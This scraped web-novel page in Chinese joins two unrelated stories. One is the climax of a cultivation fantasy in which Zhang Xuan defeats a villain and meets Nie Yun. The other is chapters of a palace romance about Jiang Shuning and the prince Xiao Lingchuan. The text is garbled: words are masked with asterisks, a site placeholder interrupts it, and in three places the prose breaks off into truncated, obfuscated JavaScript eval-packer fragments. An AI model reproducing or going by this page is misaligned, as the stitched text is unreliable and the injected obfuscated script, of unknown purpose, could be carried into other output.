如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第255章 她从来都只能是本王的 第二百五十五章她从来都只能是本王的 面对姜姝宁冰冷的质问,柳叶伏在地上连连叩首,声音带着哭腔,试图做最后的挣扎: “奴婢……奴婢不知王妃何意?奴婢对天发誓,奴婢只想留在王府,绝无他意!求王妃明鉴!” “是吗?” 姜姝宁的语气听不出喜怒,她缓缓蹲下身,伸出手握住了柳叶那只戴着玉镯的手腕。 柳叶的身体猛地一僵,下意识想将玉镯藏起来,但已为时过晚。 “这镯子,成色通透,水头极佳,是上好的和田碧玉。别说你一个二等婢女,就算是我身边的一等大丫鬟,不吃不喝攒上几年,也未必买得起。” 她抬起眼,一双清冷的眸子直直望进柳叶惊慌失措的眼底,话锋陡然一转,变得锐利如刀,“若非有人送你,难道是你偷的?你是要把你送到王爷面前,还是你自己如实招来?” “王爷”二字一出,柳叶浑身顿时剧烈地颤抖起来。 她很清楚,一旦此事惊动了萧凌川,她只有死路一条。 “王妃饶命!王妃饶命!奴婢……奴婢全都招了!”她崩溃地哭喊道,“是……崔侧妃让奴婢来求王妃的。她说王妃心地善良,定不会见死不救,届时,奴婢就能留在王府,在王妃身边伺候了。” “崔侧妃?”姜姝宁挑了挑眉,“我与她素未谋面,她又怎知我‘心地善良’?” “奴婢……奴婢也不知道……崔侧妃只说,她有要事相商。若王妃愿意见她,请于明日卯时,到西花园的假山后一叙,届时,她会将一切如实相告。” 卯时? 姜姝宁心头微动。 那正是百官上朝的时辰,萧凌川早已不在府中。 一个侧妃,入府后不想着如何争宠固宠,反而要避着王爷,来与她这个毫无名分的女子建立联系,这背后的图谋,当真耐人寻味。 “知道了,你退下吧。” 第二日卯时,姜姝宁如期赴约。 崔芝兰果然在假山后等着她,看到她来便恭敬行礼:“妾身见过宁儿姑娘!” “崔侧妃无需多礼。”姜姝宁苦笑,语气中带着几分自嘲,“你明知我在景王府只是个见不得光的人,担不起你的行礼。” 崔芝兰直起身,目光在她面上扫了一圈,直截了当道:“看得出宁儿姑娘不想留在这里。既如此,那宁儿姑娘想离开吗?” 姜姝宁心头一跳,难以置信地抬头看着她。 “崔侧妃何意?” 崔芝兰并未多言,只从袖中缓缓取出一枚玉佩。 那玉佩雕工精致,独一无二,姜姝宁曾见萧怀瑾戴过。 “是表哥让我来的。姜姑娘,他一直在等你。”崔芝兰的声音轻柔却坚定,像是春雨敲打在枯枝上,带着让人无法忽视的穿透力。 姜姝宁心头一阵酸涩。 原来,萧怀瑾一直没有放弃解救她。 她垂下眼,掩去眼底的情绪:“此事并非易事,况且,我不希望你们被卷进来。” 萧凌川睚眦必报,若被他发现萧怀瑾安插了人在王府里,助她离开,定会迁怒萧怀瑾和崔芝兰。 她不敢想象,那阴鸷的男人若发起狠来,会做出何等残忍的事。 “姜姑娘无需担心,表哥毕竟是王爷,景王权势再大,也不能对亲兄弟下手。”崔芝兰安抚道。 姜姝宁心口一紧,脑海中浮现出姨娘临终前告诉她的惊人真相——萧凌川并非先帝的血脉。 若此言属实,萧凌川根本不会顾及什么兄弟之情,他会毫不犹豫地对萧怀瑾下死手,甚至连崔芝兰这个棋子都不会放过。 “崔侧妃的好意我心领了。”姜姝宁深吸一口气,强压下心头的波澜,声音低沉,“就算王爷不会对宁王下手,你也会被牵连。我不愿因我一人,连累旁人。” 崔芝兰闻言,轻轻一笑,眼底却闪过一丝决绝:“我你就更不用担心了。只要姜姑娘成功逃离景王府,表哥答应过我,会带我离开京城,去其他地方生活。” 听到这话,姜姝宁有些诧异:“离开京城?崔家会同意吗?” “姜姑娘,你不懂。”崔芝兰脸上浮起苦涩的笑意,“我虽是嫡女,但生母已死,如今父亲眼中只有继室所生的儿女,压根不将我放在眼里。与其在景王府这个龙潭虎穴里当家族的棋子,不如放手一搏,离开此地!” 姜姝宁看着她,喉头有些发哽。 崔芝兰对自由的向往,与她何其相似。 但她不敢轻易答应,毕竟在这王府里,遍布了萧凌川的眼线。 她咬了咬唇,低声道:“崔侧妃,你可知,若此事败露,你的下场会比我更惨。萧凌川那人心黑手狠,他不会因为你是侧妃就饶你一命。” 崔芝兰脸色微微一白,但随即又恢复了平静:“我明白。可有些事,总要试一试。若不试,便只能在这囚笼里等死。姜姑娘,你难道不想赌这一把?” 姜姝宁沉默了。 她怎会不想逃? 可她更怕失败后要承担的后果。 萧凌川对她的感情十分复杂,不知是源于前世亏欠,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本王给她时间考虑清楚,若她真要离开,那本王就让她成功一次……” 他微微顿住,唇角勾起一抹淬了冰的、残酷至极的笑意。 “然后,本王再亲手,将她从那虚妄的梦境中,抓回来。” “只有让她攀上希望的云端,再狠狠地将她摔进绝望的泥潭,她才会彻底明白,这世上,她哪儿也去不了。她从来都只能是本王的。” 第256章 他能给的自由 第二百五十六章他能给的自由 春光如织,萧凌川站在书房窗前,目光越过院中盛开的桃花,落在远处的天空上,眼神深邃得像是能吞噬一切光亮。 寒意还未完全从他脸上褪去,他突然转头,对站在一旁的凌风低声吩咐了几句。 不多时,凌风领命而去,而萧凌川的目光再次变得柔和了一些,仿佛方才那令人心悸的戾气只是一场错觉。 他走出书房,径直朝姜姝宁的院子走去。 姜姝宁正坐在窗下,手中拿着一卷书,却一个字也看不进去。 她的心思早已飞远,脑中翻来覆去都是崔芝兰的提议和自己那点对自由的可怜渴望。 “姝宁。”低沉而熟悉的声音打断了她的思绪。 姜姝宁一抬头,便看见萧凌川站在门口,墨色的袍角被风轻轻吹动,衬得他整个人如画中谪仙,只是那双眼睛,依旧深得让人看不透。 “王爷。”她忙起身,低头行礼,心跳却有些乱。 她总觉得,萧凌川的眼神里藏着什么她触碰不到的东西,像是一团浓雾,包裹着未知的危险。 “今日春光正好,本王想带你去城外踏青。”萧凌川语气淡淡,像是随口一提,可他的目光却锁在她脸上,不容她有半点推脱。 姜姝宁一怔,踏青? 她自然是想出去的,成日闷在这王府里,她觉得自己都快要窒息了。 可一想到自己如今是逃犯的身份,不由地有些犹豫:“若是在路上被人认出来,会给王爷带来麻烦的。” 萧凌川闻言,唇角微微上扬,露出一抹意味不明的笑意。 “你戴着帷帽,谁能看得出来?还是说,你觉得本王在身边,还有人敢让你掀开帷帽一探究竟?” 姜姝宁张了张嘴,还想说什么,一旁的凌芜却抢先开口了,她哀求道:“王妃,您就出去吧,奴婢日日闷在这王府里,都快发霉了!” 姜姝宁想起凌芜性子活泼,从前又是行走江湖的,如今跟着她困在这王府里,着实可怜。 她终是点了点头:“那就有劳王爷了。” 从前她在相府时,春日总会骑马出来踏青,那种感受春风拂面的滋味,实在让她怀念得紧。 只是如今再去,身份不同,心境也早已不同。 一行人出了王府,城外的踏青之地人声鼎沸,草地上满是携家带口的百姓和穿着华服的贵人。 萧凌川非要与姜姝宁共骑一匹马,还让她坐在前面,而凌风和凌芜则各骑一匹马跟在后头。 萧凌川双臂环着她的腰,他的气息近在咫尺,带着淡淡的松木香,像是无形的网,将她困在其中。 他本就容貌昳丽,即便是换了寻常贵公子的打扮,也依旧出挑得引人注目。 姜姝宁虽戴着帷帽,却仍能感受到周围那些打量的目光,像是针尖般刺在她的皮肤上,让她坐立难安。 “王爷!”她压低了声音,语气里带着几分羞恼,“您别抱得这样紧,旁人正看着呢!” “姝宁戴着帷帽还害羞?”萧凌川低笑一声,干脆掀开帷帽的一角,自己的头也钻了进去,温热的呼吸喷洒在她耳畔,神色暧昧得让人心跳加速,“这下,没人看到我们了。” 姜姝宁一僵,脸颊瞬间烧得滚烫。 她咬着牙,无奈地低声道:“……王爷,这样更容易被误会。” 大邺民风并不开放,众人还是头一回见到如此大胆的场景,目光更加肆无忌惮地投了过来。 姜姝宁透过薄薄的帷幔面纱,看见他们或惊讶或窃笑的表情,臊得恨不得钻进地缝里去。 她小声**:“王爷,别这样,这样打量我们的人更多。” “既然王妃这般害羞,那本王便带你去人少的地方!” 话音未落,他一夹马腹,骏马嘶鸣一声,飞快地从人群中穿过。 姜姝宁猝不及防,惊叫连连,身子不自觉地往后靠去,正好撞进萧凌川坚实的胸膛里。 他的手臂收得更紧,像是要将她嵌入骨血中一般。 风从耳边呼啸而过,眼前的人群渐渐远去,视线越来越开阔,绿得让人心醉的草地映入眼帘。 姜姝宁的惊慌渐渐被清新的空气冲散,她忍不住笑出声来,像是被困在笼中的鸟儿,短暂地振翅飞翔了一瞬。 萧凌川感受到她的狂热与快乐,低头看着她微微扬起的唇角,眼底的阴霾似乎也散去几分。 他将她抱得更紧,声音低哑而温柔:“姝宁,只要你想要,本王也可以给你像这样的自由。” 姜姝宁的笑意却在这一刻凝固在脸上。 自由? 外出不能露脸,还得时刻由他陪着,这样的自由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王墨哪里经得住这番吹捧,一听姐姐如此受宠,脸上立刻漾开骄傲的光彩,想也不想,兴冲冲地便朝萧凌川的方向跑了过去。 望着王墨那急不可耐的背影,姜瑶真唇角缓缓勾起一抹得逞的、冰冷的弧度。 她太清楚王家的内情了:镇国将军府的大房何等精明,舍不得自家女儿,才将二房的王碧珊推入景王府。 整个二房的希望,都压在王碧珊一人身上,逼着她不择手段也要固宠争位。 就让这个冲动的王墨亲眼看看,景王萧凌川真正放在心尖上陪着的,到底是哪位“佳人”。 好戏就要上场了! 第257章 挑衅沦为笑话 第二百五十七章挑衅沦为笑话 